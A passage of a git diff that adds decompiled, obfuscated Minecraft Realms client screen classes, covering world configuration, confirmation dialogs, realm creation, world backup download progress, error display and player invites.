(p_237804_4_ >= p_237804_2_ && p_237804_4_ <= p_237804_2_ + 9 && p_237804_5_ >= p_237804_3_ && p_237804_5_ <= p_237804_3_ + 27) + { + if (p_237804_6_ <= 0) + { + this.field_224414_b = field_243112_v; + } + else if (p_237804_6_ == 1) + { + this.field_224414_b = field_243113_w; + } + else + { + this.field_224414_b = new TranslationTextComponent("mco.selectServer.expires.days", p_237804_6_); + } + } + } + + private void func_237811_e_(MatrixStack p_237811_1_, int p_237811_2_, int p_237811_3_, int p_237811_4_, int p_237811_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237787_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237811_1_, p_237811_2_, p_237811_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237811_4_ >= p_237811_2_ && p_237811_4_ <= p_237811_2_ + 9 && p_237811_5_ >= p_237811_3_ && p_237811_5_ <= p_237811_3_ + 27) + { + this.field_224414_b = field_243114_x; + } + } + + private void func_237813_f_(MatrixStack p_237813_1_, int p_237813_2_, int p_237813_3_, int p_237813_4_, int p_237813_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237788_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237813_1_, p_237813_2_, p_237813_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237813_4_ >= p_237813_2_ && p_237813_4_ <= p_237813_2_ + 9 && p_237813_5_ >= p_237813_3_ && p_237813_5_ <= p_237813_3_ + 27) + { + this.field_224414_b = field_243115_y; + } + } + + private boolean func_224376_g() + { + return this.field_224416_d != null && this.field_224416_d.field_230594_m_ == RealmsServer.ServerType.MINIGAME; + } + + private void func_224377_h() + { + this.func_237799_a_(this.field_224425_m); + this.func_237799_a_(this.field_224426_n); + this.func_237799_a_(this.field_224427_o); + } + + private void func_237799_a_(Button p_237799_1_) + { + p_237799_1_.visible = false; + this.children.remove(p_237799_1_); + this.buttons.remove(p_237799_1_); + } + + private void func_237806_b_(Button p_237806_1_) + { + p_237806_1_.visible = true; + this.addButton(p_237806_1_); + } + + private void func_224412_j() + { + this.func_237799_a_(this.field_224428_p); + } + + public void func_224386_a(RealmsWorldOptions p_224386_1_) + { + RealmsWorldOptions realmsworldoptions = this.field_224416_d.field_230590_i_.get(this.field_224416_d.field_230595_n_); + p_224386_1_.field_230624_k_ = realmsworldoptions.field_230624_k_; + p_224386_1_.field_230625_l_ = realmsworldoptions.field_230625_l_; + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + realmsclient.func_224925_a(this.field_224416_d.field_230582_a_, this.field_224416_d.field_230595_n_, p_224386_1_); + this.field_224416_d.field_230590_i_.put(this.field_224416_d.field_230595_n_, p_224386_1_); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224413_a.error("Couldn't save slot settings"); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, this)); + return; + } + + this.minecraft.displayGuiScreen(this); + } + + public void func_224410_a(String p_224410_1_, String p_224410_2_) + { + String s = p_224410_2_.trim().isEmpty() ? null : p_224410_2_; + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + realmsclient.func_224922_b(this.field_224416_d.field_230582_a_, p_224410_1_, s); + this.field_224416_d.func_230773_a_(p_224410_1_); + this.field_224416_d.func_230777_b_(s); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224413_a.error("Couldn't save settings"); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, this)); + return; + } + + this.minecraft.displayGuiScreen(this); + } + + public void func_237802_a_(boolean p_237802_1_, Screen p_237802_2_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(p_237802_2_, new OpeningWorldRealmsAction(this.field_224416_d, this, this.field_224415_c, p_237802_1_))); + } + + public void func_237800_a_(Screen p_237800_1_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(p_237800_1_, new CloseRealmsAction(this.field_224416_d, this))); + } + + public void func_224398_a() + { + this.field_224429_q = true; + } + + protected void func_223627_a_(@Nullable WorldTemplate p_223627_1_) + { + if (p_223627_1_ != null) + { + if (WorldTemplate.Type.MINIGAME == p_223627_1_.field_230655_i_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224415_c, new StartMinigameRealmsAction(this.field_224416_d.field_230582_a_, p_223627_1_, this.func_224407_b()))); + } + } + } + + public RealmsConfigureWorldScreen func_224407_b() + { + return new RealmsConfigureWorldScreen(this.field_224415_c, this.field_224417_e); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java new file mode 100644 index 00000000..d19c055c --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java @@ -0,0 +1,57 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import it.unimi.dsi.fastutil.booleans.BooleanConsumer; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.Widget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; + +public class RealmsConfirmScreen extends RealmsScreen +{ + protected BooleanConsumer field_237824_a_; + private final ITextComponent field_224142_b; + private final ITextComponent field_224146_f; + private int field_224147_g; + + public RealmsConfirmScreen(BooleanConsumer p_i232202_1_, ITextComponent p_i232202_2_, ITextComponent p_i232202_3_) + { + this.field_237824_a_ = p_i232202_1_; + this.field_224142_b = p_i232202_2_; + this.field_224146_f = p_i232202_3_; + } + + public void init() + { + this.addButton(new Button(this.width / 2 - 105, func_239562_k_(9), 100, 20, DialogTexts.GUI_YES, (p_237826_1_) -> + { + this.field_237824_a_.accept(true); + })); + this.addButton(new Button(this.width / 2 + 5, func_239562_k_(9), 100, 20, DialogTexts.GUI_NO, (p_237825_1_) -> + { + this.field_237824_a_.accept(false); + })); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, this.field_224142_b, this.width / 2, func_239562_k_(3), 16777215); + drawCenteredString(matrixStack, this.font, this.field_224146_f, this.width / 2, func_239562_k_(5), 16777215); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public void tick() + { + super.tick(); + + if (--this.field_224147_g == 0) + { + for (Widget widget : this.buttons) + { + widget.active = true; + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java new file mode 100644 index 00000000..b3f6b3e8 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java @@ -0,0 +1,134 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.RealmsMainScreen; +import com.mojang.realmsclient.dto.RealmsServer; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.realms.action.CreateWorldRealmsAction; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsCreateRealmScreen extends RealmsScreen +{ + private static final ITextComponent field_243116_a = new TranslationTextComponent("mco.configure.world.name"); + private static final ITextComponent field_243117_b = new TranslationTextComponent("mco.configure.world.description"); + private final RealmsServer field_224135_a; + private final RealmsMainScreen field_224136_b; + private TextFieldWidget field_224137_c; + private TextFieldWidget field_224138_d; + private Button field_224139_e; + private RealmsLabel field_224140_f; + + public RealmsCreateRealmScreen(RealmsServer p_i51772_1_, RealmsMainScreen p_i51772_2_) + { + this.field_224135_a = p_i51772_1_; + this.field_224136_b = p_i51772_2_; + } + + public void tick() + { + if (this.field_224137_c != null) + { + this.field_224137_c.tick(); + } + + if (this.field_224138_d != null) + { + this.field_224138_d.tick(); + } + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224139_e = this.addButton(new Button(this.width / 2 - 100, this.height / 4 + 120 + 17, 97, 20, new TranslationTextComponent("mco.create.world"), (p_237828_1_) -> + { + this.func_224132_a(); + })); + this.addButton(new Button(this.width / 2 + 5, this.height / 4 + 120 + 17, 95, 20, DialogTexts.GUI_CANCEL, (p_237827_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224136_b); + })); + this.field_224139_e.active = false; + this.field_224137_c = new TextFieldWidget(this.minecraft.fontRenderer, this.width / 2 - 100, 65, 200, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.name")); + this.addListener(this.field_224137_c); + this.setFocusedDefault(this.field_224137_c); + this.field_224138_d = new TextFieldWidget(this.minecraft.fontRenderer, this.width / 2 - 100, 115, 200, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.description")); + this.addListener(this.field_224138_d); + this.field_224140_f = new RealmsLabel(new TranslationTextComponent("mco.selectServer.create"), this.width / 2, 11, 16777215); + this.addListener(this.field_224140_f); + this.func_231411_u_(); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean charTyped(char codePoint, int modifiers) + { + boolean flag = super.charTyped(codePoint, modifiers); + this.field_224139_e.active = this.func_224133_b(); + return flag; + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224136_b); + return true; + } + else + { + boolean flag = super.keyPressed(keyCode, scanCode, modifiers); + this.field_224139_e.active = this.func_224133_b(); + return flag; + } + } + + private void func_224132_a() + { + if (this.func_224133_b()) + { + RealmsResetWorldScreen realmsresetworldscreen = new RealmsResetWorldScreen(this.field_224136_b, this.field_224135_a, new TranslationTextComponent("mco.selectServer.create"), new TranslationTextComponent("mco.create.world.subtitle"), 10526880, new TranslationTextComponent("mco.create.world.skip"), () -> + { + this.minecraft.displayGuiScreen(this.field_224136_b.func_223942_f()); + }, () -> + { + this.minecraft.displayGuiScreen(this.field_224136_b.func_223942_f()); + }); + realmsresetworldscreen.func_224432_a(new TranslationTextComponent("mco.create.world.reset.title")); + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224136_b, new CreateWorldRealmsAction(this.field_224135_a.field_230582_a_, this.field_224137_c.getText(), this.field_224138_d.getText(), realmsresetworldscreen))); + } + } + + private boolean func_224133_b() + { + return !this.field_224137_c.getText().trim().isEmpty(); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_224140_f.func_239560_a_(this, matrixStack); + this.font.func_243248_b(matrixStack, field_243116_a, (float)(this.width / 2 - 100), 52.0F, 10526880); + this.font.func_243248_b(matrixStack, field_243117_b, (float)(this.width / 2 - 100), 102.0F, 10526880); + + if (this.field_224137_c != null) + { + this.field_224137_c.render(matrixStack, mouseX, mouseY, partialTicks); + } + + if (this.field_224138_d != null) + { + this.field_224138_d.render(matrixStack, mouseX, mouseY, partialTicks); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java new file mode 100644 index 00000000..5343c207 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java @@ -0,0 +1,353 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Lists; +import com.google.common.util.concurrent.RateLimiter; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.FileDownload; +import com.mojang.realmsclient.dto.WorldDownload; +import it.unimi.dsi.fastutil.booleans.BooleanConsumer; +import java.util.List; +import java.util.Locale; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.ReentrantLock; +import java.util.stream.Collectors; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.renderer.BufferBuilder; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.client.util.UploadSpeed; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.Util; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsDownloadLatestWorldScreen extends RealmsScreen +{ + private static final Logger field_224175_a = LogManager.getLogger(); + private static final ReentrantLock field_237832_b_ = new ReentrantLock(); + private final Screen field_224176_b; + private final WorldDownload field_224177_c; + private final ITextComponent field_224178_d; + private final RateLimiter field_224179_e; + private Button field_224180_f; + private final String field_224181_g; + private final RealmsDownloadLatestWorldScreen.DownloadStatus field_224182_h; + private volatile ITextComponent field_224183_i; + private volatile ITextComponent field_224184_j = new TranslationTextComponent("mco.download.preparing"); + private volatile String field_224185_k; + private volatile boolean field_224186_l; + private volatile boolean field_224187_m = true; + private volatile boolean field_224188_n; + private volatile boolean field_224189_o; + private Long field_224190_p; + private Long field_224191_q; + private long field_224192_r; + private int field_224193_s; + private static final String[] field_224194_t = new String[] {"", ".", ". .", ". . ."}; + private int field_224195_u; + private boolean field_224198_x; + private final BooleanConsumer field_237831_J_; + + public RealmsDownloadLatestWorldScreen(Screen p_i232203_1_, WorldDownload p_i232203_2_, String p_i232203_3_, BooleanConsumer p_i232203_4_) + { + this.field_237831_J_ = p_i232203_4_; + this.field_224176_b = p_i232203_1_; + this.field_224181_g = p_i232203_3_; + this.field_224177_c = p_i232203_2_; + this.field_224182_h = new RealmsDownloadLatestWorldScreen.DownloadStatus(); + this.field_224178_d = new TranslationTextComponent("mco.download.title"); + this.field_224179_e = RateLimiter.create((double)0.1F); + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224180_f = this.addButton(new Button(this.width / 2 - 100, this.height - 42, 200, 20, DialogTexts.GUI_CANCEL, (p_237834_1_) -> + { + this.field_224186_l = true; + this.func_224174_d(); + })); + this.func_224162_c(); + } + + private void func_224162_c() + { + if (!this.field_224188_n) + { + if (!this.field_224198_x && this.func_224152_a(this.field_224177_c.field_230643_a_) >= 5368709120L) + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.download.confirmation.line1", UploadSpeed.func_237684_b_(5368709120L)); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.download.confirmation.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237837_1_) -> + { + this.field_224198_x = true; + this.minecraft.displayGuiScreen(this); + this.func_224165_h(); + }, RealmsLongConfirmationScreen.Type.Warning, itextcomponent, itextcomponent1, false)); + } + else + { + this.func_224165_h(); + } + } + } + + private long func_224152_a(String p_224152_1_) + { + FileDownload filedownload = new FileDownload(); + return filedownload.func_224827_a(p_224152_1_); + } + + public void tick() + { + super.tick(); + ++this.field_224193_s; + + if (this.field_224184_j != null && this.field_224179_e.tryAcquire(1)) + { + List list = Lists.newArrayList(); + list.add(this.field_224178_d); + list.add(this.field_224184_j); + + if (this.field_224185_k != null) + { + list.add(new StringTextComponent(this.field_224185_k + "%")); + list.add(new StringTextComponent(UploadSpeed.func_237684_b_(this.field_224192_r) + "/s")); + } + + if (this.field_224183_i != null) + { + list.add(this.field_224183_i); + } + + String s = list.stream().map(ITextComponent::getString).collect(Collectors.joining("\n")); + RealmsNarratorHelper.func_239550_a_(s); + } + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.field_224186_l = true; + this.func_224174_d(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224174_d() + { + if (this.field_224188_n && this.field_237831_J_ != null && this.field_224183_i == null) + { + this.field_237831_J_.accept(true); + } + + this.minecraft.displayGuiScreen(this.field_224176_b); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, this.field_224178_d, this.width / 2, 20, 16777215); + drawCenteredString(matrixStack, this.font, this.field_224184_j, this.width / 2, 50, 16777215); + + if (this.field_224187_m) + { + this.func_237835_b_(matrixStack); + } + + if (this.field_224182_h.field_225139_a != 0L && !this.field_224186_l) + { + this.func_237836_c_(matrixStack); + this.func_237838_d_(matrixStack); + } + + if (this.field_224183_i != null) + { + drawCenteredString(matrixStack, this.font, this.field_224183_i, this.width / 2, 110, 16711680); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private void func_237835_b_(MatrixStack p_237835_1_) + { + int i = this.font.getStringPropertyWidth(this.field_224184_j); + + if (this.field_224193_s % 10 == 0) + { + ++this.field_224195_u; + } + + this.font.drawString(p_237835_1_, field_224194_t[this.field_224195_u % field_224194_t.length], (float)(this.width / 2 + i / 2 + 5), 50.0F, 16777215); + } + + private void func_237836_c_(MatrixStack p_237836_1_) + { + double d0 = Math.min((double)this.field_224182_h.field_225139_a / (double)this.field_224182_h.field_225140_b, 1.0D); + this.field_224185_k = String.format(Locale.ROOT, "%.1f", d0 * 100.0D); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.disableTexture(); + Tessellator tessellator = Tessellator.getInstance(); + BufferBuilder bufferbuilder = tessellator.getBuffer(); + bufferbuilder.begin(7, DefaultVertexFormats.POSITION_COLOR); + double d1 = (double)(this.width / 2 - 100); + double d2 = 0.5D; + bufferbuilder.pos(d1 - 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0 + 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0 + 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 - 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + tessellator.draw(); + RenderSystem.enableTexture(); + drawCenteredString(p_237836_1_, this.font, this.field_224185_k + " %", this.width / 2, 84, 16777215); + } + + private void func_237838_d_(MatrixStack p_237838_1_) + { + if (this.field_224193_s % 20 == 0) + { + if (this.field_224190_p != null) + { + long i = Util.milliTime() - this.field_224191_q; + + if (i == 0L) + { + i = 1L; + } + + this.field_224192_r = 1000L * (this.field_224182_h.field_225139_a - this.field_224190_p) / i; + this.func_237833_a_(p_237838_1_, this.field_224192_r); + } + + this.field_224190_p = this.field_224182_h.field_225139_a; + this.field_224191_q = Util.milliTime(); + } + else + { + this.func_237833_a_(p_237838_1_, this.field_224192_r); + } + } + + private void func_237833_a_(MatrixStack p_237833_1_, long p_237833_2_) + { + if (p_237833_2_ > 0L) + { + int i = this.font.getStringWidth(this.field_224185_k); + String s = "(" + UploadSpeed.func_237684_b_(p_237833_2_) + "/s)"; + this.font.drawString(p_237833_1_, s, (float)(this.width / 2 + i / 2 + 15), 84.0F, 16777215); + } + } + + private void func_224165_h() + { + (new Thread(() -> + { + try { + if (field_237832_b_.tryLock(1L, TimeUnit.SECONDS)) + { + if (this.field_224186_l) + { + this.func_224159_i(); + return; + } + + this.field_224184_j = new TranslationTextComponent("mco.download.downloading", this.field_224181_g); + FileDownload filedownload = new FileDownload(); + filedownload.func_224827_a(this.field_224177_c.field_230643_a_); + filedownload.func_237688_a_(this.field_224177_c, this.field_224181_g, this.field_224182_h, this.minecraft.getSaveLoader()); + + while (!filedownload.func_224835_b()) + { + if (filedownload.func_224836_c()) + { + filedownload.func_224834_a(); + this.field_224183_i = new TranslationTextComponent("mco.download.failed"); + this.field_224180_f.setMessage(DialogTexts.GUI_DONE); + return; + } + + if (filedownload.func_224837_d()) + { + if (!this.field_224189_o) + { + this.field_224184_j = new TranslationTextComponent("mco.download.extracting"); + } + + this.field_224189_o = true; + } + + if (this.field_224186_l) + { + filedownload.func_224834_a(); + this.func_224159_i(); + return; + } + + try + { + Thread.sleep(500L); + } + catch (InterruptedException interruptedexception) + { + field_224175_a.error("Failed to check Realms backup download status"); + } + } + + this.field_224188_n = true; + this.field_224184_j = new TranslationTextComponent("mco.download.done"); + this.field_224180_f.setMessage(DialogTexts.GUI_DONE); + return; + } + + this.field_224184_j = new TranslationTextComponent("mco.download.failed"); + } + catch (InterruptedException interruptedexception1) + { + field_224175_a.error("Could not acquire upload lock"); + return; + } + catch (Exception exception) + { + this.field_224183_i = new TranslationTextComponent("mco.download.failed"); + exception.printStackTrace(); + return; + } + finally { + if (!field_237832_b_.isHeldByCurrentThread()) + { + return; + } + + field_237832_b_.unlock(); + this.field_224187_m = false; + this.field_224188_n = true; + } + })).start(); + } + + private void func_224159_i() + { + this.field_224184_j = new TranslationTextComponent("mco.download.cancelled"); + } + + public class DownloadStatus + { + public volatile long field_225139_a; + public volatile long field_225140_b; + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java new file mode 100644 index 00000000..25287c8f --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java @@ -0,0 +1,81 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.exception.RealmsServiceException; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsGenericErrorScreen extends RealmsScreen +{ + private final Screen field_224228_a; + private ITextComponent field_224229_b; + private ITextComponent field_224230_c; + + public RealmsGenericErrorScreen(RealmsServiceException p_i232204_1_, Screen p_i232204_2_) + { + this.field_224228_a = p_i232204_2_; + this.func_224224_a(p_i232204_1_); + } + + public RealmsGenericErrorScreen(ITextComponent p_i232205_1_, Screen p_i232205_2_) + { + this.field_224228_a = p_i232205_2_; + this.func_237841_a_(p_i232205_1_); + } + + public RealmsGenericErrorScreen(ITextComponent p_i232206_1_, ITextComponent p_i232206_2_, Screen p_i232206_3_) + { + this.field_224228_a = p_i232206_3_; + this.func_237842_a_(p_i232206_1_, p_i232206_2_); + } + + private void func_224224_a(RealmsServiceException p_224224_1_) + { + if (p_224224_1_.field_224983_c == -1) + { + this.field_224229_b = new StringTextComponent("An error occurred (" + p_224224_1_.field_224981_a + "):"); + this.field_224230_c = new StringTextComponent(p_224224_1_.field_224982_b); + } + else + { + this.field_224229_b = new StringTextComponent("Realms (" + p_224224_1_.field_224983_c + "):"); + String s = "mco.errorMessage." + p_224224_1_.field_224983_c; + this.field_224230_c = (ITextComponent)(I18n.hasKey(s) ? new TranslationTextComponent(s) : ITextComponent.getTextComponentOrEmpty(p_224224_1_.field_224984_d)); + } + } + + private void func_237841_a_(ITextComponent p_237841_1_) + { + this.field_224229_b = new StringTextComponent("An error occurred: "); + this.field_224230_c = p_237841_1_; + } + + private void func_237842_a_(ITextComponent p_237842_1_, ITextComponent p_237842_2_) + { + this.field_224229_b = p_237842_1_; + this.field_224230_c = p_237842_2_; + } + + public void init() + { + RealmsNarratorHelper.func_239550_a_(this.field_224229_b.getString() + ": " + this.field_224230_c.getString()); + this.addButton(new Button(this.width / 2 - 100, this.height - 52, 200, 20, new StringTextComponent("Ok"), (p_237840_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224228_a); + })); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, this.field_224229_b, this.width / 2, 80, 16777215); + drawCenteredString(matrixStack, this.font, this.field_224230_c, this.width / 2, 100, 16711680); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java new file mode 100644 index 00000000..7f6a4ca1 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java @@ -0,0 +1,127 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import javax.annotation.Nullable; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsInviteScreen extends RealmsScreen +{ + private static final Logger field_224213_a = LogManager.getLogger(); + private static final ITextComponent field_243118_b = new TranslationTextComponent("mco.configure.world.invite.profile.name"); + private static final ITextComponent field_243119_c = new TranslationTextComponent("mco.configure.world.players.error"); + private TextFieldWidget field_224214_b; + private final RealmsServer field_224215_c; + private final RealmsConfigureWorldScreen field_224216_d; + private final Screen field_224217_e; + @Nullable + private ITextComponent field_224222_j; + + public RealmsInviteScreen(RealmsConfigureWorldScreen p_i232207_1_, Screen p_i232207_2_, RealmsServer p_i232207_3_) + { + this.field_224216_d = p_i232207_1_; + this.field_224217_e = p_i232207_2_; + this.field_224215_c = p_i232207_3_; + } + + public void tick() + { + this.field_224214_b.tick(); + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224214_b = new TextFieldWidget(this.minecraft.fontRenderer, this.width / 2 - 100, func_239562_k_(2), 200, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.invite.profile.name")); + this.addListener(this.field_224214_b); + this.setFocusedDefault(this.field_224214_b); + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(10), 200, 20, new TranslationTextComponent("mco.configure.world.buttons.invite"), (p_237844_1_) -> + { + this.func_224211_a(); + })); + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(12), 200, 20, DialogTexts.GUI_CANCEL, (p_237843_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224217_e); + })); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + private void func_224211_a() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + if (this.field_224214_b.getText() != null && !this.field_224214_b.getText().isEmpty()) + { + try + { + RealmsServer realmsserver = realmsclient.func_224910_b(this.field_224215_c.field_230582_a_, this.field_224214_b.getText().trim()); + + if (realmsserver != null) + { + this.field_224215_c.field_230589_h_ = realmsserver.field_230589_h_; + this.minecraft.displayGuiScreen(new RealmsPlayerScreen(this.field_224216_d, this.field_224215_c)); + } + else + { + this.func_224209_a(field_243119_c); + } + } + catch (Exception exception) + { + field_224213_a.error("Couldn't invite user"); + this.func_224209_a(field_243119_c); + } + } + else + { + this.func_224209_a(field_243119_c); + } + } + + private void func_224209_a(ITextComponent p_224209_1_) + { + this.field_224222_j = p_224209_1_; + RealmsNarratorHelper.func_239550_a_(p_224209_1_.getString()); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224217_e); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.font.func_243248_b(matrixStack, field_243118_b, (float)(this.width / 2 - 100), (float)func_239562_k_(1), 10526880); + + if (this.field_224222_j != null) + { + drawCenteredString(matrixStack, this.font, this.field_224222_j, this.width / 2, func_239562_k_(5), 16711680); + } + + this.field_224214_b.render(matrixStack, mouseX, mouseY, partialTicks); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java new file mode 100644 index 00000000..4b8aaf66 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java @@ -0,0 +1,89 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import it.unimi.dsi.fastutil.booleans.BooleanConsumer; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsLongConfirmationScreen extends RealmsScreen +{ + private final RealmsLongConfirmationScreen.Type field_224254_e; + private final ITextComponent field_224255_f; + private final ITextComponent field_224256_g; + protected final BooleanConsumer field_237845_a_; + private final boolean field_224258_i; + + public RealmsLongConfirmationScreen(BooleanConsumer p_i232208_1_, 